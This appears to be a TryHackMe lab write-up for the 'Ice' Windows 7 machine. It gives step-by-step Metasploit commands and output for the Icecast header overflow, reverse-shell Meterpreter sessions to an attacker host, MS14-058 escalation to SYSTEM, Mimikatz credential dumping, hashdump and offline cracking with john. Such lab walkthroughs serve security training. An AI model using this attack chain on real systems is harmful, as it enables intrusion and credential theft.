# Ice Writeup - TryHackMe

> Exploit a Windows machine vulnerable to CVE-2004-1561 (Icecast buffer overflow), escalate privileges, and establish a Meterpreter session.

- **URL:** https://hackindex.io/writeups/ice
- **Platform:** TryHackMe
- **Difficulty:** Easy
- **Operating system:** Windows
- **Tags:** buffer-overflow, active-directory, privilege-escalation, kernel-exploit, cve-2004-1561, cve-2014-4113
- **Authors:** [Hackercat](https://hackindex.io/authors/hackercat.md)
- **Published:** 2026-09-13
- **Updated:** 2026-09-13

Ice is an Easy Windows machine running Icecast, an open-source streaming media server. Versions before 2.0.2 contain a buffer overflow in HTTP header handling (CVE-2004-1561) that gives unauthenticated remote code execution. After landing a low-privilege shell as `Dark-PC\Dark`, privilege escalation goes through a kernel exploit in `win32k.sys` (MS14-058, CVE-2014-4113) that bypasses UAC entirely and delivers a SYSTEM shell. From there, Mimikatz (via Kiwi) recovers plaintext credentials directly from memory.

## Reconnaissance

A full port scan first to find all open ports, then a targeted version scan against the interesting ones. This avoids missing high-numbered services while keeping the version scan fast.

```bash
nmap -p- -T4 --min-rate 1000 --open --max-retries 2 $TARGET_IP
# Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-13 11:19 +0200
# Nmap scan report for $TARGET_IP
# Host is up (0.019s latency).
# Not shown: 61592 closed tcp ports (reset), 3933 filtered tcp ports (no-response)
#
# PORT      STATE SERVICE
# 135/tcp   open  msrpc
# 139/tcp   open  netbios-ssn
# 445/tcp   open  microsoft-ds
# 5357/tcp  open  wsdapi
# 8000/tcp  open  http-alt
# 49152/tcp open  unknown
# 49153/tcp open  unknown
# 49154/tcp open  unknown
# 49160/tcp open  unknown
# 49184/tcp open  unknown
#
# Nmap done: 1 IP address (1 host up) scanned in 13.55 seconds
```

Port 8000 stands out, that is the default port for Icecast. The high ports above 49000 are standard Windows ephemeral RPC. Version scan against the relevant ports:

```bash
nmap -sC -sV -p 135,139,445,5357,8000 $TARGET_IP
# Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-13 11:21 +0200
# Nmap scan report for $TARGET_IP
# Host is up (0.019s latency).
#
# PORT     STATE SERVICE      VERSION
# 135/tcp  open  msrpc        Microsoft Windows RPC
# 139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
# 445/tcp  open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
# 5357/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
# |_http-title: Service Unavailable
# |_http-server-header: Microsoft-HTTPAPI/2.0
# 8000/tcp open  http         Icecast streaming media server
# |_http-title: Site doesn't have a title (text/html).
# Service Info: Host: DARK-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
#
# Host script results:
# | smb2-security-mode:
# |   2.1:
# |_    Message signing enabled but not required
# | smb-os-discovery:
# |   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
# |   Computer name: Dark-PC
# |   NetBIOS computer name: DARK-PC\x00
# |   Workgroup: WORKGROUP\x00
# |_  System time: 2026-09-13T04:21:32-05:00
#
# Nmap done: 1 IP address (1 host up) scanned in 17.74 seconds
```

The scan confirms **Windows 7 Professional SP1** (build 7601) and **Icecast** on port 8000. The hostname `DARK-PC` reveals the local username: `Dark`. Icecast versions before 2.0.2 are vulnerable to CVE-2004-1561: a fixed-size stack buffer overflows when a request contains exactly 32 HTTP headers, overwriting the return address. No authentication required.

## Initial Access

Metasploit includes a stable module for this vulnerability. The default payload is x86, which is appropriate because `Icecast2.exe` is a 32-bit process even on a 64-bit OS.

```bash
use exploit/windows/http/icecast_header
set RHOSTS $TARGET_IP
set LHOST $ATTACKER_IP
run
# [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
# RHOSTS => $TARGET_IP
# LHOST => $ATTACKER_IP
# [*] Started reverse TCP handler on $ATTACKER_IP:4444
# [*] Sending stage (203455 bytes) to $TARGET_IP
# [*] Meterpreter session 1 opened ($ATTACKER_IP:4444 -> $TARGET_IP:49222) at 2026-09-13 11:32:28 +0200
```

Shell landed as `Dark-PC\Dark`, a regular user. The OS is x64 but Meterpreter is x86 because it injected into the 32-bit Icecast process.

```bash
getuid
sysinfo
# Server username: Dark-PC\Dark
#
# Computer        : DARK-PC
# OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
# Architecture    : x64
# System Language : en_US
# Domain          : WORKGROUP
# Logged On Users : 2
# Meterpreter     : x86/windows
```

Local exploit modules check the session architecture and abort when there is a mismatch. Migrate to a native x64 process before running anything else. `taskhost.exe` runs as `Dark` and is x64:

```bash
ps
#  PID   PPID  Name          Arch  Session  User          Path
#  ---   ----  ----          ----  -------  ----          ----
#  1300  1020  dwm.exe       x64   1        Dark-PC\Dark  C:\Windows\System32\dwm.exe
#  1320  692   explorer.exe  x64   1        Dark-PC\Dark  C:\Windows\explorer.exe
#  1488  692   taskhost.exe  x64   1        Dark-PC\Dark  C:\Windows\System32\taskhost.exe
#  1996  1320  Icecast2.exe  x86   1        Dark-PC\Dark  C:\Program Files (x86)\Icecast2 Win32\Icecast2.exe
```

```bash
migrate 1488
sysinfo
# [*] Migrating from 1996 to 1488...
# [*] Migration completed successfully.
#
# Computer        : DARK-PC
# OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
# Architecture    : x64
# Meterpreter     : x64/windows
```

Meterpreter is now x64, matching the OS architecture.

## Privilege Escalation

`getsystem` fails because UAC is active and blocks the standard named pipe and token duplication techniques. The local exploit suggester enumerates viable paths:

```bash
run post/multi/recon/local_exploit_suggester
# [*] $TARGET_IP - Collecting local exploits for x64/windows...
# [+] exploit/windows/local/bypassuac_comhijack: The target appears to be vulnerable.
# [+] exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
# [+] exploit/windows/local/cve_2019_1458_wizardopium: The target appears to be vulnerable.
# [+] exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
# [+] exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
```

MS14-058 exploits a use-after-free in `win32k.sys`, a kernel-level vulnerability that runs at ring 0. Unlike UAC-bypass techniques, it does not need an elevated process to start from. It bypasses UAC entirely. Set both `target` and `payload` to x64 to match the session:

```bash
use exploit/windows/local/ms14_058_track_popup_menu
set SESSION 1
set LHOST $ATTACKER_IP
set target 1
set payload windows/x64/meterpreter/reverse_tcp
run
# SESSION => 1
# LHOST => $ATTACKER_IP
# target => 1
# payload => windows/x64/meterpreter/reverse_tcp
# [*] Started reverse TCP handler on $ATTACKER_IP:4444
# [*] Reflectively injecting the exploit DLL and triggering the exploit...
# [*] Launching netsh to host the DLL...
# [+] Process 3516 launched.
# [*] Reflectively injecting the DLL into 3516...
# [*] Sending stage (255679 bytes) to $TARGET_IP
# [+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
# [*] Meterpreter session 2 opened ($ATTACKER_IP:4444 -> $TARGET_IP:49240) at 2026-09-13 11:45:03 +0200
```

```bash
getuid
# Server username: NT AUTHORITY\SYSTEM
```

Full SYSTEM access. Migrate into `spoolsv.exe` to interact with lsass. The printer spool service runs as SYSTEM, is x64, and restarts automatically if it crashes:

```bash
migrate -N spoolsv.exe
# [*] Migrating from 3516 to 1396...
# [*] Migration completed successfully.
```

## Post-Exploitation

Load Kiwi (Metasploit's Mimikatz integration) to pull credentials directly from memory. This works even without the user actively logged in because Icecast runs as a scheduled task under the `Dark` account, keeping credentials cached in lsass.

```bash
load kiwi
# Loading extension kiwi...
#   .#####.   mimikatz 2.2.0 20191125 (x64/windows)
#  .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
#  ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
#  ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
#  '## v ##'        Vincent LE TOUX            ( vincent.letoux@gmail.com )
#   '#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/
#
# Success.
```

```bash
creds_all
# [+] Running as SYSTEM
# [*] Retrieving all credentials
#
# msv credentials
# ===============
# Username  Domain   NTLM
# --------  ------   ----
# Dark      Dark-PC  $DARK_HASH
#
# wdigest credentials
# ===================
# Username  Domain     Password
# --------  ------     --------
# Dark      Dark-PC    $DARK_PASSWORD
#
# tspkg credentials
# =================
# Username  Domain   Password
# --------  ------   --------
# Dark      Dark-PC  $DARK_PASSWORD
#
# kerberos credentials
# ====================
# Username  Domain   Password
# --------  ------   --------
# Dark      Dark-PC  $DARK_PASSWORD
```

Dark's plaintext password recovered from memory. Confirm with a hashdump and crack offline:

```bash
hashdump
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# Dark:1000:aad3b435b51404eeaad3b435b51404ee:$DARK_HASH:::
# Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
```

The format is `username:RID:LM_hash:NT_hash:::`. The Administrator and Guest accounts show `31d6cfe0d16ae931b73c59d7e0c089c0`, the empty hash (accounts are disabled or have no password set). Dark's NT hash is the only one worth cracking:

```bash
echo "$DARK_HASH" > dark_hash.txt
john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt dark_hash.txt
# Using default input encoding: UTF-8
# Loaded 1 password hash (NT [MD4 128/128 SSE2 4x3])
# Press 'q' or Ctrl-C to abort, almost any other key for status
# $DARK_PASSWORD      (?)
# 1g 0:00:00:00 DONE (2026-09-13 11:51) 2.702g/s 5684Kp/s 5684Kc/s
```

Dark's password cracks instantly against rockyou.txt. It passes naive complexity checks but appears in every major wordlist. With valid credentials and a SYSTEM shell, you have full control over the machine.

## References

- [CVE-2004-1561](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1561) - Icecast HTTP header buffer overflow
- [CVE-2014-4113](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4113) - MS14-058 win32k.sys TrackPopupMenu use-after-free
- [Exploit-DB: Icecast 2.0.1 Header Overwrite](https://www.exploit-db.com/exploits/25396) - Metasploit module reference
- [HackIndex: HTTP](https://hackindex.io/services/http) - HTTP service enumeration and exploitation